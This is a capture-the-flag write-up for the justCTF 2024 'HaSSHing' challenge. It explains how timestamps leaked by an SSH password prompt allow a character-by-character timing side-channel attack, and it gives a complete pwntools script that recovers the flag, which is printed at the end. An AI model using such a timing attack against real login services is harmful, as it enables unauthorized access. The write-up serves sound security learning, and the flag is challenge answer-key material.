HaSSHing (justCTF teaser 2024)

> by FluxFingers

In this easy pwn-misc challenge by elopez from Trail of Bits, we are given just the address of an SSH server which happens to utilize keyboard-interactive authentication. This is the authentication type in which you connect, enter your password in an interactive prompt, and are granted or denied access based upon that. The goal is to find the

right password that grants us access, which is the flag.

The challenge description tells us:

> Interact with the keyboard or not, I don’t care; as only the flag will let you in - no chance of hash collisions here! The flag consists only of the following characters: "CFT_cdhjlnstuw{}" and digits. Each character may appear multiple times.

Analyzing the Prompt

The prompt looks somewhat like this (based upon my memory):

```
$ password:
# Now one can interactively enter a password
[2024-06-21T15:55:36,411868658] Checking Password
[2024-06-21T15:55:50,997742893] Access Denied
```

If you've ever used SSH with keyboard-interactive authentication before, you will probably notice that this prompt looks fishy. The standard prompt

won't tell you such granular timings for when it's checking passwords.

The Solution

This reporting of timings (and being told the charset used in the flag) has lead me to suspect that this uses a custom prompt that uses a hashing

implementation that is susceptible to a timing attack, in which we can find the flag by trying every possible character, and seeing which one has the longest

delta in between checking and denying access. The character that took the longest is then appended to the flag and we can continue with finding the next character, using

the current flag as a basis. Knowing the flag format `justCTF{}`, we already know that the flag must start with `justCTF{` and end with `}`. I also made the bold assumption

that the uppercase characters `CTF` and `{` won't appear elsewhere in the flag, minimzing the charset a little.

Let's implement this timing attack in a python script:

```python
#!/usr/bin/env python3


from pwn import *
from datetime import datetime


r = process("ssh hasshing.nc.jctf.pro -l ctf -p 1337", shell=True, stdin=PTY)


flag_charset = "_}cdhjlnstuw0123456789"
FLAG = "justCTF{"


def login(password):
    r.sendlineafter(b"password: ", password)
    r.recvline()

    check_time = datetime.strptime(r.recvline().decode().split("[")[-1].split("]")[0], "%Y-%m-%d %H:%M:%S.%f")
    resp = r.recvline().decode().strip()
    if not "That wasn't it, sorry. Try again." in resp:
        print(resp)
        exit()
    resp_time = datetime.strptime(resp.split("[")[-1].split("]")[0], "%Y-%m-%d %H:%M:%S.%f")
    return (resp_time - check_time).microseconds

def get_flag():
    global FLAG, r
    while True:
        time_per_char = {}
        for i in range(1):
            for char in flag_charset:
                try_flag = FLAG + char
                if not char in time_per_char:
                    time_per_char[char] = []
                time_per_char[char].append(login(try_flag.encode()))
        print(time_per_char)
        for char in time_per_char:
            time_per_char[char] = sum(time_per_char[char]) / len(time_per_char[char])
        FLAG += max(time_per_char, key=time_per_char.get)
        print(FLAG)

get_flag()
```

Running this presents us with the flag:

> `justCTF{s1d3ch4nn3ls_4tw_79828}`